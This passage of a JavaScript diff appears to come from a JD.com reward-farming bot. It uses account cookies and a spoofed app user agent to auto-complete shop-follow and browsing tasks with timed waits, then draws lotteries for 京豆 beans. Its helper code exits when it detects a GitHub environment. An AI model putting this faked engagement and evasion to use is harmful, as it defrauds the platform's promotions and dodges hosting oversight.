= 0; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const taskVos = data['data']['result']['taskVos'] || []; + if (flag && $.index === 1) { + superShakeBeanConfig['superShakeBeanFlag'] = true; + superShakeBeanConfig['taskVipName'] = taskVos.filter(vo => !!vo && vo['taskType'] === 21)[0]['taskName']; + } + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.taskVos = taskVos.filter(item => !!item && item['status'] === 1) || []; + $.lotteryNum = parseInt(data['data']['result']['lotteryNum']); + $.lotTaskId = parseInt(data['data']['result']['lotTaskId']); + } else if (data['data']['bizCode'] === 101) { + console.log(`京东APP首页超级摇一摇: ${data['data']['bizMsg']}`); + } + } else { + console.log(`获取超级摇一摇任务数据异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function doShakeTask(appId) { + for (let vo of $.taskVos) { + if (vo['taskType'] === 21) { + console.log(`超级摇一摇 ${vo['taskName']} 跳过`); + continue + } + if (vo['taskType'] === 9) { + console.log(`开始做 ${vo['taskName']},等10秒`); + const shoppingActivityVos = vo['shoppingActivityVos']; + for (let task of shoppingActivityVos) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(10000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + if (vo['taskType'] === 1) { + console.log(`开始做 ${vo['taskName']}, 等8秒`); + const followShopVo = vo['followShopVo']; + for (let task of followShopVo) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(9000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + } +} +function fc_collectScore(body) { + return new Promise(resolve => { + const options = taskPostUrl('fc_collectScore', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superShakeLottery(appId) { + if ($.lotteryNum) console.log(`\n\n开始京东APP首页超级摇一摇 摇奖`); + for (let i = 0; i < new Array($.lotteryNum).fill('').length; i++) { + await fc_getLottery(appId);//抽奖 + await $.wait(1000) + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function fc_getLottery(appId) { + return new Promise(resolve => { + const body = {appId, "taskId": $.lotTaskId} + const options = taskPostUrl('fc_getLotteryResult', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['data']['bizCode'] === 0) { + $.myAwardVo = data['data']['result']['myAwardVo']; + if ($.myAwardVo) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.myAwardVo)}`) + if ($.myAwardVo['type'] === 2) { + $.superShakeBeanNum = $.superShakeBeanNum + parseInt($.myAwardVo['jBeanAwardVo']['quantity']); + } + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//===================新版超级本摇一摇============== +function superBrandMainPage() { + return new Promise(resolve => { + const body = {"source":"main"}; + const options = superShakePostUrl('superBrandMainPage', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (data['data']['bizCode'] === '0') { + //superShakeBeanConfig['superShakeUlr'] = jump.params.url; + //console.log(`【超级摇一摇】活动链接:${superShakeBeanConfig['superShakeUlr']}`); + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.activityId = data['data']['result']['activityBaseInfo']['activityId']; + $.encryptProjectId = data['data']['result']['activityBaseInfo']['encryptProjectId']; + $.activityName = data['data']['result']['activityBaseInfo']['activityName']; + $.userStarNum = Number(data['data']['result']['activityUserInfo']['userStarNum']) || 0; + superShakeBeanConfig['superShakeTitle'] = $.activityName; + console.log(`${$.activityName} 当前共有积分:${$.userStarNum},可抽奖:${parseInt($.userStarNum / 100)}次(最多4次摇奖机会)\n`); + } else { + console.log(`\n【新版本 超级摇一摇】获取信息失败:${data['data']['bizMsg']}\n`); + } + } else { + console.log(`获取超级摇一摇信息异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superBrandTaskList() { + return new Promise(resolve => { + $.taskList = []; + const body = {"activityId": $.activityId, "assistInfoFlag": 4, "source": "main"}; + const options = superShakePostUrl('superBrandTaskList', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['code'] === '0' && data['data']['bizCode'] === '0') { + $.taskList = data['data']['result']['taskList']; + $.canLottery = $.taskList.filter(vo => !!vo && vo['assignmentTimesLimit'] === 4)[0]['completionFlag'] + } else { + console.log(`获取超级摇一摇任务异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superBrandDoTaskFun() { + $.taskList = $.taskList.filter(vo => !!vo && !vo['completionFlag'] && (vo['assignmentType'] !== 6 && vo['assignmentType'] !== 7 && vo['assignmentType'] !== 0 && vo['assignmentType'] !== 30)); + for (let item of $.taskList) { + if (item['assignmentType'] === 1) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']},需等待${ext['waitDuration']}秒`); + const shoppingActivity = ext['shoppingActivity']; + for (let task of shoppingActivity) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 1, + "source": "main" + }) + await $.wait(1000 * ext['waitDuration']) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 3) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']}`); + const followShop = ext['followShop']; + for (let task of followShop) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 2) { + const { ext } = item; + const assistTaskDetail = ext['assistTaskDetail']; + console.log(`${item['assignmentName']}好友邀请码: ${assistTaskDetail['itemId']}`) + if (assistTaskDetail['itemId']) $.assigFirends.push({ + itemId: assistTaskDetail['itemId'], + encryptAssignmentId: item['encryptAssignmentId'], + assignmentType: item['assignmentType'], + }); + } + } +} +function superBrandDoTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superBrandDoTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + if (body['assignmentType'] === 2) { + console.log(`助力好友 ${body['itemId']}结果 ${data}`); + } else { + console.log('做任务结果', data); + } + data = JSON.parse(data); + if (data && data['code'] === '0' && data['data']['bizCode'] === '108') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function lo() { + const num = parseInt(($.userStarNum || 0) / 100); + if (!$.canLottery) { + for (let i = 0; i < new Array(num).fill('').length; i++) { + await $.wait(1000); + await superBrandTaskLottery(); + } + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${$.activityName || '超级摇一摇'}:获得${$.superShakeBeanNum}京豆\n`; + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function superBrandTaskLottery() { + return new Promise(resolve => { + const body = { "activityId": $.activityId, "source": "main" } + const options = superShakePostUrl('superBrandTaskLottery', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandDoTaskLottery API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['code'] === '0') { + if (data['data']['bizCode'] === "TK000") { + $.rewardComponent = data['data']['result']['rewardComponent']; + if ($.rewardComponent) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.rewardComponent)}`) + if ($.rewardComponent.beanList && $.rewardComponent.beanList.length) { + console.log(`获得${$.rewardComponent.beanList[0]['quantity']}京豆`) + $.superShakeBeanNum += parseInt($.rewardComponent.beanList[0]['quantity']); + } + } + } else if (data['data']['bizCode'] === "TK1703") { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } else { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//============超级品牌日============== +async function superbrandShakeBean() { + $.bradCanLottery = true;//是否有超级品牌日活动 + $.bradHasLottery = false;//是否已抽奖 + await qryCompositeMaterials("advertGroup", "04405074", "Brands");//获取品牌活动ID + await superbrand_getHomeData(); + if (!$.bradCanLottery) { + console.log(`【${$.stageName} 超级品牌日】:活动不在进行中`) + return + } + if ($.bradHasLottery) { + console.log(`【${$.stageName} 超级品牌日】:已完成抽奖`) + return + } + await superbrand_getMaterial();//获取完成任务所需的一些ID + await qryCompositeMaterials();//做任务 + await superbrand_getGift();//抽奖 +} +function superbrand_getMaterial() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getMaterial', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getMaterial API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.cmsTaskShopId = result['cmsTaskShopId']; + $.cmsTaskLink = result['cmsTaskLink']; + $.cmsTaskGroupId = result['cmsTaskGroupId']; + console.log(`【cmsTaskGroupId】:${result['cmsTaskGroupId']}`) + } else { + console.log(`超级超级品牌日 ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function qryCompositeMaterials(type = "productGroup", id = $.cmsTaskGroupId, mapTo = "Tasks0") { + return new Promise(resolve => { + const t1 = {type, id, mapTo} + const qryParam = JSON.stringify([t1]); + const body = { + qryParam, + "activityId": $.brandActivityId2, + "pageId": "1411763", + "reqSrc": "jmfe", + "geo": {"lng": "", "lat": ""} + } + const options = taskPostUrl('qryCompositeMaterials', body) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (mapTo === 'Brands') { + $.stageName = data.data.Brands.stageName; + console.log(`\n\n【${$.stageName} brandActivityId】:${data.data.Brands.list[0].extension.copy1}`) + $.brandActivityId = data.data.Brands.list[0].extension.copy1 || $.brandActivityId; + } else { + const { list } = data['data']['Tasks0']; + console.log(`超级品牌日,做关注店铺 任务`) + let body = {"brandActivityId": $.brandActivityId, "taskType": "1", "taskId": $.cmsTaskShopId} + await superbrand_doMyTask(body); + console.log(`超级品牌日,逛品牌会场 任务`) + body = {"brandActivityId": $.brandActivityId, "taskType": "2", "taskId": $.cmsTaskLink} + await superbrand_doMyTask(body); + console.log(`超级品牌日,浏览下方指定商品 任务`) + for (let item of list.slice(0, 3)) { + body = {"brandActivityId": $.brandActivityId, "taskType": "3", "taskId": item['skuId']}; + await superbrand_doMyTask(body); + } + } + } else { + console.log(`qryCompositeMaterials异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//做任务API +function superbrand_doMyTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superbrand_doMyTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_doMyTask API请求失败,请检查网路重试`) + } else { + if (data) { + // data = JSON.parse(data) + console.log(`超级品牌日活动做任务结果:${data}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getGift() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getGift', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getGift API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.jpeasList = result['jpeasList']; + if ($.jpeasList && $.jpeasList.length) { + for (let item of $.jpeasList) { + console.log(`超级品牌日 抽奖 获得:${item['quantity']}京豆🐶`); + message += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + if ($.superShakeBeanNum === 0) { + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } else { + allMessage += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } + } + } + } else { + console.log(`超级超级品牌日 抽奖失败: ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 抽奖 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getHomeData() { + return new Promise(resolve => { + const body = {"brandActivityIds": $.brandActivityId} + const options = superShakePostUrl('superbrand_getHomeData', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + if (result && result.length) { + if (result[0]['activityStatus'] === "2" && result[0]['taskVos'].length) $.bradHasLottery = true; + } + } else { + console.log(`超级超级品牌日 getHomeData 失败: ${data['data']['bizMsg']}`) + if (data['data']['bizCode'] === 101) { + $.bradCanLottery = false; + } + } + } else { + console.log(`超级超级品牌日 getHomeData 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=======================京东会员签到======================== +async function shakeSign() { + await pg_channel_page_data(); + if ($.token && $.currSignCursor && $.signStatus === -1) { + const body = {"floorToken": $.token, "dataSourceCode": "signIn", "argMap": { "currSignCursor": $.currSignCursor }}; + const signRes = await pg_interact_interface_invoke(body); + console.log(`京东会员第${$.currSignCursor}天签到结果;${JSON.stringify(signRes)}`) + let beanNum = 0; + if (signRes.success && signRes['data']) { + console.log(`京东会员第${$.currSignCursor}天签到成功。获得${signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum']}京豆\n`) + beanNum = signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum'] + } + if (beanNum) { + message += `\n京东会员签到:获得${beanNum}京豆\n`; + } + } else { + console.log(`京东会员第${$.currSignCursor}天已签到`) + } +} +function pg_channel_page_data() { + const body = { + "paramData":{"token":"dd2fb032-9fa3-493b-8cd0-0d57cd51812d"} + } + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=pg_channel_page_data&body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "api.m.jd.com", + "Cookie": cookie, + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + if (data.success) { + const SIGN_ACT_INFO = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === 'SIGN_ACT_INFO')[0] + $.token = SIGN_ACT_INFO['token']; + if (SIGN_ACT_INFO['floorData']) { + $.currSignCursor = SIGN_ACT_INFO['floorData']['signActInfo']['currSignCursor']; + $.signStatus = SIGN_ACT_INFO['floorData']['signActInfo']['signActCycles'].filter(item => !!item && item['signCursor'] === $.currSignCursor)[0]['signStatus']; + } + // console.log($.token, $.currSignCursor, $.signStatus) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} +function pg_interact_interface_invoke(body) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?appid=sharkBean&functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Cookie": cookie, + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Host": "api.m.jd.com", + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function taskUrl(function_id, body = {}, appId = 'vip_h5') { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=${appId}&body=${escape(JSON.stringify(body))}&_=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://vip.m.jd.com/newPage/reward/123dd/slideContent?page=focus', + } + } +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +function superShakePostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&appid=content_ecology&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.3.0&uuid=8888888&t=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else 